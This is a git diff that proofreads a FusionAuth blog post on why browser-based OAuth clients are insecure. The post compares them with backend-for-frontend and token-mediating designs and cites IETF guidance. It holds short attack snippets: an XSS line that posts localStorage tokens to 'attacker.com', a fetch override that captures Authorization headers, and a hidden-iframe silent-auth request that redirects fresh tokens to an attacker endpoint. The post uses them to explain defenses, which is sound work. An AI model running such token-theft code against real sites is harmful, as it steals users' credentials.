a/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx +++ b/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx @@ -1,7 +1,7 @@ --- publish_date: 2025-10-08 -title: "Browser-Based OAuth Clients: The Architecture You Shouldn't Be Using" -htmlTitle: "Browser-Based OAuth Clients: Why This OAuth Architecture is Insecure" +title: "Browser-Based OAuth Client: The architecture you shouldn't be using" +htmlTitle: "Browser-Based OAuth Client: Why this OAuth architecture is insecure" description: Why BBOC is the least secure OAuth pattern, when it's acceptable, how to implement it safely, and how to migrate to secure architectures. image: /img/blogs/bff/bff-header.png # TODO: replace image authors: Kim Maida @@ -10,40 +10,44 @@ tags: oauth, security, architecture, browser, javascript, spa, xss excerpt_separator: "{/* more */}" --- -Of all possible browser-based OAuth architectures, the Browser-Based OAuth Clients (BBOC) pattern is the least secure. Despite this, the BBOC pattern remains the most commonly implemented approach due to how convenient it is. This convenience and simplicity also leads to OAuth providers often using BBOC to demonstrate quickstarts and sample code - I can't blame some developers for thinking this is the recommended approach! +Of all possible browser-based OAuth architectures, the Browser-Based OAuth Client (BBOC) pattern is the least secure. Despite this, the BBOC pattern remains the most commonly implemented approach due to how convenient it is. This convenience and simplicity also leads to OAuth providers often using BBOC to demonstrate quickstarts and sample code - I can't blame some developers for thinking this is the recommended approach! However, BBOC creates unacceptable security risk for any application handling user data. -The Internet Engineering Task Force (IETF), in its [OAuth 2.0 for Browser-Based Applications](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps) draft, is explicit in its warning: "This architecture is not recommended for business applications, sensitive applications, and applications that handle personal data." BBOC stores tokens in browser storage, exposing refresh tokens to JavaScript, and creating vulnerabilities that defenders can't fully mitigate. +The Internet Engineering Task Force (IETF), in its [OAuth 2.0 for Browser-Based Applications](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps) draft, is explicit in its warning: + +> This architecture is not recommended for business applications, sensitive applications, and applications that handle personal data. + +BBOC stores tokens in browser storage, exposing refresh tokens to JavaScript, and creating vulnerabilities that defenders can't fully mitigate. {/* more */} Several high-profile breaches over the last two years exploited vulnerabilities inherent to BBOC implementations: -- **January 2025**: DoubleClickjacking attacks bypassed all traditional defenses including X-Frame-Options, Content Security Policy, and SameSite cookies. -- **2024-2025**: ShinyHunters' OAuth refresh token campaign combined social engineering with token theft, affecting organizations that believed their OAuth implementations were secure. -- **January 2024**: Microsoft's Midnight Blizzard breach exploited legacy OAuth applications without multi-factor authentication. -- **May 2024**: The Snowflake breach affected 165 organizations through OAuth misconfigurations and service accounts lacking MFA. +- **January 2025:** DoubleClickjacking attacks bypassed all traditional defenses including X-Frame-Options, Content Security Policy, and SameSite cookies. +- **2024-2025:** ShinyHunters' OAuth refresh token campaign combined social engineering with token theft, affecting organizations that believed their OAuth implementations were secure. +- **January 2024:** Microsoft's Midnight Blizzard breach exploited legacy OAuth applications without multi-factor authentication (MFA). +- **May 2024:** The Snowflake breach affected 165 organizations through OAuth misconfigurations and service accounts lacking MFA. While not all these breaches involved BBOC specifically, they highlight the risks of OAuth implementations that expose tokens to client-side vulnerabilities. -This article examines why BBOC is fundamentally insecure, when it becomes unacceptable, how to implement defense-in-depth strategies when forced into BBOC, and how to migrate to architecturally secure patterns. This is part three of a series covering OAuth security architectures. [Part 1](/blog/backend-for-frontend-security-architecture) covered Backend-for-Frontend (BFF) architecture, the most secure pattern. [Part 2](/blog/auth-architecture-part2-TMB) examined Token-Mediating Backend (TMB), a moderately secure middle ground. +This article examines why BBOC is fundamentally insecure, when it becomes unacceptable, how to implement defense-in-depth strategies when forced into BBOC, and how to migrate to architecturally secure patterns. It is part three of a series covering OAuth security architectures. [Part 1](/blog/backend-for-frontend-security-architecture) covered Backend-for-Frontend (BFF) architecture, the most secure pattern. [Part 2](/blog/auth-architecture-part2-TMB) examined Token-Mediating Backend (TMB), a moderately secure middle ground. -## Overview of Browser-Based OAuth Clients +## Understanding BBOC architecture -Browser-Based OAuth Clients place the entire OAuth flow in JavaScript code running in the browser. The browser acts as a public OAuth client, obtains tokens directly from the authorization server, and stores all tokens, including sensitive refresh tokens, using browser storage mechanisms. +The Browser-Based OAuth Client pattern places the entire OAuth flow in JavaScript code running in the browser. The browser acts as a public OAuth client, obtains tokens directly from the authorization server, and stores all tokens, including sensitive refresh tokens, using browser storage mechanisms. This contrasts sharply with the architectures covered earlier in this series: -- **Backend-for-Frontend (BFF)**: No tokens reach the browser. The backend acts as the OAuth client and stores all tokens server-side. The browser receives only an HttpOnly session cookie. Requests to resource servers are proxied through the backend, which adds access tokens as needed. -- **Token-Mediating Backend (TMB)**: The backend obtains tokens as a confidential client but passes short-lived access tokens to the browser. Refresh tokens remain server-side. -- **Browser-Based OAuth Client (BBOC)**: JavaScript in the browser handles everything - authorization requests, token exchange, token storage, and token refresh. All tokens exist in browser storage. +- **Backend-for-Frontend (BFF):** No tokens reach the browser. The backend acts as the OAuth client and stores all tokens server-side. The browser receives only an `HttpOnly` session cookie. Requests to resource servers are proxied through the backend, which adds access tokens as needed. +- **Token-Mediating Backend (TMB):** The backend obtains tokens as a confidential client but passes short-lived access tokens to the browser. Refresh tokens remain server-side. +- **Browser-Based OAuth Client (BBOC):** JavaScript in the browser handles everything - authorization requests, token exchange, token storage, and token refresh. All tokens exist in browser storage. Understanding why BBOC creates unacceptable security risk requires understanding the fundamental difference between public and confidential OAuth clients. -## Public Clients Cannot Maintain Secrets +### Public clients cannot maintain secrets -BBOC applications are **public clients** in OAuth terminology. A public client cannot maintain the confidentiality of its credentials. Any "secret" embedded in JavaScript code is immediately visible to all users. You can obfuscate code, but obfuscation provides no security - anyone can read the source, inspect network traffic, or step through your code in a debugger. +BBOC applications are **public clients** in OAuth terminology. A public client cannot maintain the confidentiality of its credentials. Any "secret" embedded in JavaScript code is immediately visible to all users. You can obfuscate code, but obfuscation provides no security — anyone can read the source, inspect network traffic, or step through your code in a debugger. This has profound implications. Public clients: @@ -52,13 +56,13 @@ This has profound implications. Public clients: - Cannot authenticate to the authorization server in the traditional sense. - Cannot prevent an attacker with access to the browser from obtaining new tokens. -Contrast this with **confidential clients** used in BFF and TMB architectures: +Contrast this with the**confidential clients** used in BFF and TMB architectures, which can: - Store client secrets server-side where users cannot access them. - Authenticate to the authorization server using those secrets. - Operate in an environment you control. -## Token Exposure Across Architectures +## Token exposure across architectures The critical difference between BBOC and other architectures is what tokens reach the browser: @@ -75,19 +79,23 @@ The critical difference between BBOC and other architectures is what tokens reac In BBOC, every token your application obtains exists in JavaScript-accessible storage. This includes: -- **Access tokens**: Provide access to APIs for typically 15-60 minutes, sometimes longer. -- **Refresh tokens**: Generate new access tokens, often valid for 30-90 days or longer. -- **ID tokens**: Contain user identity information. +- **Access tokens** providing access to APIs for typically 15-60 minutes, sometimes longer. +- **Refresh tokens** that generate new access tokens, often valid for 30-90 days or longer. +- **ID tokens** containing user identity information. An attacker who compromises your browser environment gains access to everything. With TMB, an attacker gets access tokens but cannot obtain new ones after they expire. With BFF, an attacker only gets session cookies that require maintaining the session context. With BBOC, an attacker gets refresh tokens that can generate new access tokens indefinitely, even after the user closes the browser. -## The Many Vulnerabilities of Browser Token Storage +## The many vulnerabilities of browser token dtorage + +The IETF states plainly: + +> localStorage does not protect against unauthorized access from malicious JavaScript, as the attacker would be running code within the same origin, and as such, would be able to read the contents of the localStorage. -The IETF states plainly: "localStorage does not protect against unauthorized access from malicious JavaScript, as the attacker would be running code within the same origin, and as such, would be able to read the contents of the localStorage" This understates the problem. Browser storage provides essentially zero protection against credential theft when JavaScript code is compromised. Understanding the attack vectors reveals why no amount of defense can make BBOC secure. +This understates the problem. Browser storage provides essentially zero protection against credential theft when JavaScript code is compromised. Understanding the attack vectors reveals why no amount of defense can make BBOC secure. -### Vulnerability 1: Cross-Site Scripting (XSS) Token Theft +### Vulnerability 1: Cross-Site Scripting token theft -Cross-Site Scripting allows attackers to execute arbitrary JavaScript in your application's context. Once an attacker achieves XSS, stealing tokens from localStorage requires a single line of code: +Cross-Site Scripting (XSS) allows attackers to execute arbitrary JavaScript in your application's context. Once an attacker achieves XSS, stealing tokens from `localStorage` requires a single line of code: ```javascript fetch('https://attacker.com/collect', { @@ -100,7 +108,7 @@ fetch('https://attacker.com/collect', { }); ``` -The 2024 HotJar WordPress vulnerability demonstrated the scale of XSS impact. HotJar, a user behavior analytics service, suffered an XSS vulnerability that affected approximately 1 million websites including Microsoft, Adobe, and T-Mobile. Any attacker who exploited the HotJar XSS could execute code on all those sites. If those sites stored OAuth tokens in localStorage, all tokens were immediately compromised. +The 2024 HotJar WordPress vulnerability demonstrated the scale of XSS impact. HotJar, a user behavior analytics service, suffered an XSS vulnerability that affected approximately 1 million websites including Microsoft, Adobe, and T-Mobile. Any attacker who exploited the HotJar XSS could execute code on all those sites. If those sites stored OAuth tokens in `localStorage`, all tokens were immediately compromised. XSS vulnerabilities arise from multiple sources: @@ -112,38 +120,38 @@ XSS vulnerabilities arise from multiple sources: Content Security Policy (CSP) provides defense against some XSS attacks but cannot eliminate the risk. A single CSP bypass, and researchers discover them regularly, exposes all tokens. The fundamental problem is that JavaScript-accessible storage is accessible to all JavaScript, malicious or legitimate. -### Vulnerability 2: Supply Chain Attacks on the npm Ecosystem +### Vulnerability 2: Supply chain attacks on the npm ecosystem Modern web applications depend on hundreds or thousands of npm packages. Each dependency represents a potential attack vector. Supply chain attacks have evolved from theoretical concerns to active threats. -We discussed examples of supply chain attacks in [Part one](/blog/backend-for-frontend-security-architecture) of this series. In short: if you build your application using third-party JavaScript libraries, an attacker who compromises any of those libraries, or any of their dependencies, can execute arbitrary code in your application's context. +We discussed examples of supply chain attacks in [part one](/blog/backend-for-frontend-security-architecture) of this series. In short: If you build your application using third-party JavaScript libraries, an attacker who compromises any of those libraries, or any of their dependencies, can execute arbitrary code in your application's context. -### Vulnerability 3: Persistent Access via Stolen Refresh Tokens +### Vulnerability 3: Persistent access via stolen refresh tokens -Access tokens typically expire after 15-60 minutes. This limits the window of unauthorized access - an attacker must use a stolen access token quickly before expiration. Refresh tokens change this calculation completely. +Access tokens typically expire after 15-60 minutes. This limits the window of unauthorized access — an attacker must use a stolen access token quickly before expiration. Refresh tokens change this calculation completely. -Refresh tokens often remain valid for 30-90 days or longer. Some refresh tokens never expire until explicitly revoked. An attacker who steals a refresh token gains: +Refresh tokens often remain valid for 30-90 days or longer. Some refresh tokens won't expire until they're explicitly revoked. An attacker who steals a refresh token gains: -- Ability to generate new access tokens at will. +- The ability to generate new access tokens at will. - Persistent access that survives access token expiration. -- No requirement to maintain active browser sessions. +- Access without needing to maintain active browser sessions. - Access that continues until the user notices and revokes tokens. The combination of long-lived refresh tokens and browser storage creates catastrophic risk. An XSS attack lasting seconds can steal tokens that provide access for months. -### Vulnerability 4: Token Storage Options Present a Spectrum of Insecurity +### Vulnerability 4: Token storage options present a spectrum of insecurity BBOC implementations must choose where to store tokens. Every option has security implications: -**In-memory storage**: Stores tokens in JavaScript variables rather than browser APIs. Tokens disappear on page reload, requiring users to re-authenticate. This provides slightly better security, as tokens only exist while JavaScript is running. However, the user experience degradation is severe. Every page reload, tab refresh, or navigation forces re-authentication. Users find this unacceptable for any non-trivial application. Security improvements are minimal since XSS attacks still access in-memory variables. +**In-memory storage** stores tokens in JavaScript variables rather than browser APIs. Tokens disappear on page reload, requiring users to re-authenticate. This provides slightly better security, as tokens only exist while JavaScript is running. However, the user experience degradation is severe. Every page reload, tab refresh, or navigation forces re-authentication. Users find this unacceptable for any non-trivial application. Security improvements are minimal since XSS attacks still access in-memory variables. -**sessionStorage**: Isolates tokens to a single browser tab. Tokens don't persist across tab closures. Different tabs require separate authentications. This provides tab-level isolation but remains fully vulnerable to XSS within that tab context. An attacker compromising any tab gains full token access for that session. +**`sessionStorage`** isolates tokens to a single browser tab. Tokens don't persist across tab closures. Different tabs require separate authentications. This provides tab-level isolation but remains fully vulnerable to XSS within that tab context. An attacker compromising any tab gains full token access for that session. -**localStorage**: The most common choice. Tokens persist across page reloads and tab closures. localStorage shares tokens across all tabs in the same origin. This provides the best user experience - users authenticate once and remain authenticated across sessions. It also provides the worst security - tokens persist indefinitely until explicitly cleared, and all JavaScript in the origin can access them. XSS attacks on any page in your domain expose all tokens. +**`localStorage`** is the most common choice. Tokens persist across page reloads and tab closures. `localStorage` shares tokens across all tabs in the same origin. This provides the best user experience - users authenticate once and remain authenticated across sessions. It also provides the worst security - tokens persist indefinitely until explicitly cleared, and all JavaScript in the origin can access them. XSS attacks on any page in your domain expose all tokens. -**IndexedDB**: Offers similar capabilities to localStorage with more complex APIs and larger storage capacity. IndexedDB provides no security advantages over localStorage for token storage. The same XSS and JavaScript access concerns apply. The added complexity provides no security benefit. +**IndexedDB:** Offers similar capabilities to `localStorage` with more complex APIs and larger storage capacity. IndexedDB provides no security advantages over `localStorage` for token storage. The same XSS and JavaScript access concerns apply. The added complexity provides no security benefit. -**Service Workers**: Operate in a separate JavaScript context from the DOM. Service workers can intercept network requests and cache data. They provide the most secure browser-based storage option because: +**Service workers** operate in a separate JavaScript context from the DOM. Service workers can intercept network requests and cache data. They provide the most secure browser-based storage option because: - Service worker code runs in an isolated context. - DOM-based XSS cannot directly access service worker scope. @@ -151,15 +159,15 @@ BBOC implementations must choose where to store tokens. Every option has securit However, service workers still have vulnerabilities: -- **Registration manipulation**: Attackers can register malicious service workers if they achieve code execution in the page context. -- **Proxy attacks**: Compromised service workers intercept all network traffic including token requests. -- **Update exploitation**: Attackers who compromise the service worker update process and can inject malicious code. +- **Registration manipulation:** Attackers can register malicious service workers if they achieve code execution in the page context. +- **Proxy attacks:** Compromised service workers intercept all network traffic including token requests. +- **Update exploitation:** Attackers who compromise the service worker update process and can inject malicious code. Service workers provide the best *browser-based* storage security. This is still fundamentally less secure than not storing tokens in the browser at all. -The token storage choice presents a false dilemma. In-memory offers better security but terrible UX. localStorage offers better UX but worse security. Service workers offer a middle ground but still expose tokens to JavaScript contexts. The only secure solution is not storing tokens in the browser - which requires moving beyond BBOC to TMB or BFF architectures. +The token storage choice presents a false dilemma. In-memory storage offers better security but terrible UX. `localStorage` offers better UX but worse security. Service workers offer a middle ground but still expose tokens to JavaScript contexts. The only secure solution is not storing tokens in the browser - which requires moving beyond BBOC to TMB or BFF architectures. -### Vulnerability 5: Prototype Pollution and API Interception +### Vulnerability 5: Prototype pollution and API interception JavaScript's prototype-based inheritance creates unique attack vectors. Attackers who achieve code execution can manipulate core JavaScript functionality to intercept tokens without directly accessing storage: @@ -184,7 +192,7 @@ window.fetch = function(...args) { }; ``` -This attack doesn't access localStorage directly. It intercepts tokens as your application uses them. Similar attacks can override: +This attack doesn't access `localStorage` directly. It intercepts tokens as your application uses them. Similar attacks can override: - `XMLHttpRequest.prototype.open` and `XMLHttpRequest.prototype.send`. - `WebSocket` constructors. @@ -193,7 +201,7 @@ This attack doesn't access localStorage directly. It intercepts tokens as your a Prototype pollution attacks succeed even when you store tokens in JavaScript closures or private variables. The interception occurs at the network layer, not the storage layer. -### Vulnerability 6: Silent Authentication Abuse +### Vulnerability 6: Silent authentication abuse OAuth providers support "silent authentication" to refresh user sessions without visible redirects. Applications implement this using hidden iframes that load the authorization endpoint. If the user has an active session, the authorization server immediately returns new tokens without user interaction. @@ -212,20 +220,20 @@ iframe.src = 'https://auth-provider.example.com/authorize?' + document.body.appendChild(iframe); ``` -The IETF identifies this as Section 5.1.3 "Acquisition and Extraction of New Tokens." Even if the attacker cannot directly access existing tokens in your application's storage, they can: +The IETF identifies this in [Section 5.1.3 Acquisition and Extraction of New Tokens](https://www.ietf.org/archive/id/draft-ietf-oauth-browser-based-apps-17.html#name-acquisition-and-extraction-). Even if the attacker cannot directly access existing tokens in your application's storage, they can: -1. Initiate a new authorization flow with attacker-controlled parameters. -2. Use `prompt=none` to avoid user interaction. -3. Redirect the response to an attacker-controlled endpoint. -4. Obtain fresh tokens without the user's awareness. +- Initiate a new authorization flow with attacker-controlled parameters. +- Use `prompt=none` to avoid user interaction. +- Redirect the response to an attacker-controlled endpoint. +- Obtain fresh tokens without the user's awareness. This attack bypasses token storage security entirely. The attacker doesn't steal existing tokens, they acquire new ones using the user's active authorization server session. -### Security Effectiveness Comparison +### Security effectiveness comparison -The IETF OAuth for Browser-Based Applications specification documents seven attack scenarios and evaluates mitigation effectiveness for each architecture: +The IETF [OAuth 2.0 for Browser-Based Applications](https://www.ietf.org/archive/id/draft-ietf-oauth-browser-based-apps-17.html) specification documents seven attack scenarios and evaluates the mitigation effectiveness for each architecture: -| Attack Scenario | BBOC Mitigation | TMB Mitigation | BFF Mitigation | +| Attack scenario | BBOC mitigation | TMB mitigation | BFF mitigation | |--------------------------------|-----------------|----------------|----------------| | XSS token theft | ❌ | ⚠️ | ✅ | | Supply chain compromise | ❌ | ⚠️ | ✅ | @@ -235,103 +243,109 @@ The IETF OAuth for Browser-Based Applications specification documents seven atta | CSRF bypass attacks | ❌ | ⚠️ | ⚠️ | | Client code hijacking | ❌ | ❌ | ❌ | -**Overall effectiveness:** +The overall effectiveness of the architectures can be summarized as follows: -- **BBOC**: 0% mitigation (vulnerable to all documented attacks). -- **TMB**: average mitigation (protects refresh tokens, prevents new token acquisition). -- **BFF**: above average mitigation (fails only on client hijacking inherent to all web applications). +- **BBOC** provides 0% mitigation, making it vulnerable to all documented attacks. +- **TMB** offers average mitigation, protecting refresh tokens and preventing new token acquisition. +- **BFF** has above average mitigation, failing only on client hijacking, which is inherent to all web applications. -## IETF Guidance: When Browser-Based Clients Become Unacceptable +## IETF guidance: When browser-based clients become unacceptable The IETF provides authoritative OAuth guidance through multiple specifications. Two documents define current best practices: - **OAuth 2.0 Security Best Current Practice** (RFC 9700, published January 2025): Consolidates security recommendations across the OAuth ecosystem. - **OAuth 2.0 for Browser-Based Applications** (draft-25, RFC expected soon): Specific guidance for browser implementations. -### RFC 9700 Mandates +### RFC 9700 mandates RFC 9700 establishes mandatory security requirements for all OAuth implementations: -**Authorization Code with PKCE is required for all OAuth clients**. The specification states: "Although PKCE was designed as a mechanism to protect native apps, this advice applies to all kinds of OAuth clients, including web applications." Public clients like BBOC must use PKCE without exception. Even confidential clients should implement PKCE for defense-in-depth. +**The Authorization Code Flow with PKCE is required for all OAuth clients.** The specification states: + +> Although PKCE was designed as a mechanism to protect native apps, this advice applies to all kinds of OAuth clients, including web applications. + +Public clients like BBOC must use PKCE without exception. Even confidential clients should implement PKCE for defense-in-depth. + +**The implicit grant is officially deprecated.** RFC 9700 explicitly states: -**Implicit grant is officially deprecated**. RFC 9700 explicitly states: "The implicit grant (response type 'token') and other response types causing the authorization server to issue access tokens in the authorization response are vulnerable to access token leakage and access token replay." +> The implicit grant (response type 'token') and other response types causing the authorization server to issue access tokens in the authorization response are vulnerable to access token leakage and access token replay. The implicit grant placed tokens directly in URL fragments, which are exposed through browser history, cloud sync services, third-party scripts monitoring URL changes, and referrer headers on subsequent navigation. -Implicit grant emerged when CORS adoption was limited and browsers couldn't make cross-origin token exchange requests. CORS is now universal. The Authorization Code flow with PKCE provides better security with equivalent functionality. Implicit grant has no remaining justification. +Implicit grants emerged when cross-origin resource sharing (CORS) adoption was limited and browsers couldn't make cross-origin token exchange requests. CORS is now universal. The Authorization Code Flow with PKCE provides better security with equivalent functionality. Implicit grant has no remaining justification. -**Token storage guidance is explicit**. RFC 9700 recommends service workers as the most secure browser storage location when tokens must exist in the browser. Service workers provide a separate execution context from the DOM, offering some protection against DOM-based XSS. However, the specification acknowledges this provides only partial protection. Service workers remain vulnerable to registration manipulation, update exploitation, and proxy attacks. +**Token storage guidance is explicit.** RFC 9700 recommends service workers as the most secure browser storage location when tokens must exist in the browser. Service workers provide a separate execution context from the DOM, offering some protection against DOM-based XSS. However, the specification acknowledges this provides only partial protection. Service workers remain vulnerable to registration manipulation, update exploitation, and proxy attacks. -You can spot implicit grant implementations by looking for `response_type=token` in authorization requests. Any application using implicit grant must be re-architected to use Authorization Code with PKCE. +You can spot implicit grant implementations by looking for `response_type=token` in authorization requests. Any application using the implicit grant must be re-architected to use the Authorization Code Flow with PKCE. -### IETF's Guidance in OAuth 2.0 for Browser-Based Applications +### Guidance in the OAuth 2.0 for Browser-Based Applications draft -The OAuth for Browser-Based Applications specification provides explicit guidance on BBOC: +The [OAuth 2.0 for Browser-Based Applications](https://www.ietf.org/archive/id/draft-ietf-oauth-browser-based-apps-17.html#name-summary-3) specification provides explicit guidance on BBOC: -> "This architecture is not recommended for business applications, sensitive applications, and applications that handle personal data." +> This architecture is not recommended for business applications, sensitive applications, and applications that handle personal data. This is not a conditional warning. The IETF states that BBOC creates unacceptable risk for any application handling user data. The vulnerability is architectural, not implementation-dependent. No amount of security controls can overcome the fundamental decision to store credentials in JavaScript-accessible locations. -## BBOC Fails Regulatory Requirements +## BBOC fails regulatory requirements Many regulatory frameworks explicitly or implicitly require secure credential storage. BBOC's architectural vulnerabilities make compliance extremely difficult or impossible for regulated industries: -- **HIPAA (Healthcare)**: BBOC violates multiple HIPAA Security Rule requirements for protecting electronic Protected Health Information (ePHI), including unique user identification, transmission security, and workforce access management. -- **PCI DSS 4.0 (Payment Card Industry)**: Even if cardholder data itself isn't in browser storage, the credentials providing access to that data must be protected. BBOC implementations fail multiple PCI DSS requirements for protecting stored cardholder data and preventing broken authentication. -- **SOC 2 (Service Organizations)**: SOC 2 Trust Service Criteria require strong access controls and confidentiality protections. BBOC's exposure of refresh tokens violates these criteria unless extensive compensating controls are in place. -- **GDPR (EU Data Protection)**: Article 32 mandates appropriate technical measures to protect personal data. BBOC's vulnerabilities create significant compliance challenges, especially regarding breach notification and data protection impact assessments. +- **HIPAA (Healthcare):** BBOC violates multiple HIPAA Security Rule requirements for protecting electronic Protected Health Information (ePHI), including unique user identification, transmission security, and workforce access management. +- **PCI DSS 4.0 (Payment Card Industry):** Even if cardholder data itself isn't in browser storage, the credentials providing access to that data must be protected. BBOC implementations fail multiple PCI DSS requirements for protecting stored cardholder data and preventing broken authentication. +- **SOC 2 (Service Organizations):** SOC 2 Trust Service Criteria require strong access controls and confidentiality protections. BBOC's exposure of refresh tokens violates these criteria unless extensive compensating controls are in place. +- **GDPR (EU Data Protection):** Article 32 mandates appropriate technical measures to protect personal data. BBOC's vulnerabilities create significant compliance challenges, especially regarding breach notification and data protection impact assessments. -## Migration from BBOC to Secure Architectures +## Migration from BBOC to secure architectures Moving from BBOC to TMB or BFF requires systematic changes to authentication flows, token management, and API integration. The migration complexity depends on your target architecture and application structure. -### Migration to Token-Mediating Backend (TMB) +### Migration to TMB -Backend endpoints handle OAuth flows using PKCE, storing refresh tokens in server-side sessions while returning short-lived access tokens to the frontend. Frontend implements in-memory token storage with automatic refresh logic that calls the backend token endpoint when tokens near expiration. With TMB much of the frontend OAuth logic remains similar to BBOC, and the migration focuses on moving token exchange and storage to the backend. The frontend remains complex due to direct API calls requiring access token management. +Backend endpoints handle OAuth flows using PKCE, and store refresh tokens in server-side sessions while returning short-lived access tokens to the frontend. The frontend implements in-memory token storage with automatic refresh logic that calls the backend token endpoint when tokens near expiration. With TMB much of the frontend OAuth logic remains similar to BBOC, and the migration focuses on moving token exchange and storage to the backend. The frontend remains complex due to direct API calls requiring access token management. -### Migration to Backend-for-Frontend (BFF) +### Migration to BFF -BFF requires roughly double the TMB effort, implementing a universal proxy endpoint that validates sessions, manages token refresh automatically, and forwards all API requests to resource servers. Frontend code is simplified to a basic API client routing calls through the proxy with session cookies for authentication - no token management needed. Additional challenges include performance optimization through connection pooling and caching to address added proxy latency. +BFF requires roughly double the TMB effort, implementing a universal proxy endpoint that validates sessions, manages token refresh automatically, and forwards all API requests to resource servers. Frontend code is simplified to a basic API client that routes calls through the proxy with session cookies for authentication — no token management needed. Additional challenges include performance optimization through connection pooling and caching to address added proxy latency. -## When Forced into BBOC +## When forced into BBOC If you're forced into a BBOC architecture due to legacy constraints, third-party requirements, or other factors, implement these strategies to reduce (but not eliminate) risk: -1. **Short-Lived Access Tokens**: Minimize access token lifetimes and implement refresh token rotation to limit exposure from stolen tokens. -2. **Content Security Policy (CSP)**: Implement strong, nonce-based CSP to block XSS attacks and restrict script execution. -3. **Subresource Integrity (SRI)**: Use SRI for all third-party scripts to prevent supply chain attacks from compromising your application. -4. **Rate Limiting**: Apply aggressive rate limiting on authentication endpoints to slow brute force and token theft attempts. -5. **DPoP (Demonstrating Proof of Possession)**: Implement DPoP to bind tokens to specific clients, preventing token replay by attackers. +- **Short-lived access tokens:** Minimize access token lifetimes and implement refresh token rotation to limit exposure from stolen tokens. +- **Content Security Policy (CSP):** Implement strong, nonce-based CSP to block XSS attacks and restrict script execution. +- **Subresource Integrity (SRI):** Use SRI for all third-party scripts to prevent supply chain attacks from compromising your application. +- **Rate limiting:** Apply aggressive rate limiting on authentication endpoints to slow brute force and token theft attempts. +- **Demonstrating Proof of Possession (DPoP):** Implement DPoP to bind tokens to specific clients, preventing token replay by attackers. We're hesitant to even list these strategies because they provide only marginal security improvements. If you're investing significant effort into these controls, you're better off investing in migrating to TMB or BFF architectures. -## Decision Framework +## Decision framework Use this framework to determine the appropriate architecture for your application: -1. **Application handles PII, PHI, or financial data?** → BFF required, no exceptions. These data types demand maximum security. Regulatory compliance typically mandates BFF. -2. **Requires compliance (SOC 2, HIPAA, PCI DSS, GDPR)?** → BFF required. Compliance frameworks increasingly view token-in-browser as control deficiency. -3. **Otherwise** → TMB minimum, BFF preferred. +- **Application handles PII, PHI, or financial data?** → BFF required, no exceptions. These data types demand maximum security. Regulatory compliance typically mandates BFF. +- **Requires compliance (SOC 2, HIPAA, PCI DSS, GDPR)?** → BFF required. Compliance frameworks increasingly view token-in-browser as control deficiency. +- **Otherwise** → TMB minimum, BFF preferred. Any production application handling user data should not use BBOC. -## Conclusion and How FusionAuth Can Help +## How FusionAuth can help -Browser-Based OAuth Clients served a purpose during OAuth's early years (2012-2019) when CORS limitations forced implicit grant flows and browser-based implementations. That era ended definitively by 2019 when CORS achieved universal support and Authorization Code with PKCE became viable for browser applications. +BBOC served a purpose during OAuth's early years (2012-2019) when CORS limitations forced implicit grant flows and browser-based implementations. That era had ended definitively by 2019 when CORS achieved universal support and the Authorization Code Flow with PKCE became viable for browser applications. -The security landscape in 2025 makes BBOC's vulnerabilities unacceptable for any application handling user data. XSS attacks have evolved from rare occurrences to constant threats. Supply chain attacks demonstrate that trusting your own code isn't sufficient - dependencies matter. +The security landscape in 2025 makes BBOC's vulnerabilities unacceptable for any application handling user data. XSS attacks have evolved from rare occurrences to constant threats. Supply chain attacks demonstrate that trusting your own code isn't sufficient — dependencies matter. At FusionAuth, we strongly recommend migrating all applications away from BBOC to BFF. The security benefits are substantial, and the risk reduction justifies the migration effort. FusionAuth's [Hosted Backend](/docs/apis/hosted-backend) provides a production-ready BFF implementation with detailed documentation to facilitate this transition. -## Further Reading +## Further reading -Explore these resources for deeper understanding of OAuth security architectures: +Explore these resources for a deeper understanding of OAuth security architectures: -- [Demo repository](https://github.com/kmaida/auth-architecture) - Working implementations of BFF, TMB, and BBOC patterns with security comparisons. -- [Part 1: Backend-for-Frontend (BFF) Security Architecture](/blog/backend-for-frontend-security-architecture) - Comprehensive guide to the most secure OAuth pattern. -- [Part 2: Token-Mediating Backend Security Architecture](/blog/auth-architecture-part2-TMB) - Middle-ground approach balancing security and implementation complexity. -- [IETF OAuth 2.0 for Browser-Based Applications](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps) - Authoritative specification defining browser OAuth security patterns. -- [RFC 9700: OAuth 2.0 Security Best Current Practice](https://datatracker.ietf.org/doc/html/rfc9700) - Comprehensive security requirements for OAuth implementations. -- [RFC 9449: OAuth 2.0 Demonstrating Proof of Possession](https://datatracker.ietf.org/doc/html/rfc9449) - DPoP specification for sender-constrained tokens. -- [FusionAuth Hosted Backend documentation](/docs/apis/hosted-backend) - Production BFF implementation with detailed integration guides. -- [OWASP OAuth 2.0 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/OAuth2_Cheat_Sheet.html) - Practical security guidance for OAuth implementations. +- [The authentication architecture examples repository](https://github.com/kmaida/auth-architecture):** Browse working implementations of BFF, TMB, and BBOC patterns with security comparisons. +- [Part 1: Backend-for-Frontend security architecture](/blog/backend-for-frontend-security-architecture):** A comprehensive guide to the most secure OAuth pattern. +- [Part 2: Token-Mediating Backend security architecture](/blog/auth-architecture-part2-TMB):** The middle-ground approach, balancing security and implementation complexity. +- [OAuth 2.0 for Browser-Based Applications](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-browser-based-apps):** IETF's authoritative specification defining browser OAuth security patterns. +- [RFC 9700: OAuth 2.0 Security Best Current Practice](https://datatracker.ietf.org/doc/html/rfc9700):** Comprehensive security requirements for OAuth implementations. +- [RFC 9449: OAuth 2.0 Demonstrating Proof of Possession](https://datatracker.ietf.org/doc/html/rfc9449):** The DPoP specification for sender-constrained tokens. +- [FusionAuth Hosted Backend documentation](/docs/apis/hosted-backend):** Production BFF implementation with detailed integration guides. +- [The OWASP OAuth 2.0 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/OAuth2_Cheat_Sheet.html):** Practical security guidance for OAuth implementations. From 1e95719d84d8d054e59241b03bf7c9b264e0af53 Mon Sep 17 00:00:00 2001 From: bethh0rn Date: Tue, 28 Oct 2025 11:28:36 +0200 Subject: [PATCH 4/7] Proofread: Browser-Based OAuth Client: The architecture you shouldn't be using --- ...sed-oauth-client-security-architecture.mdx | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx b/astro/src/content/blog/browser-based-oauth-client-security-architecture.mdx index a3502b08a9..34dbe0be2e 100644 --- 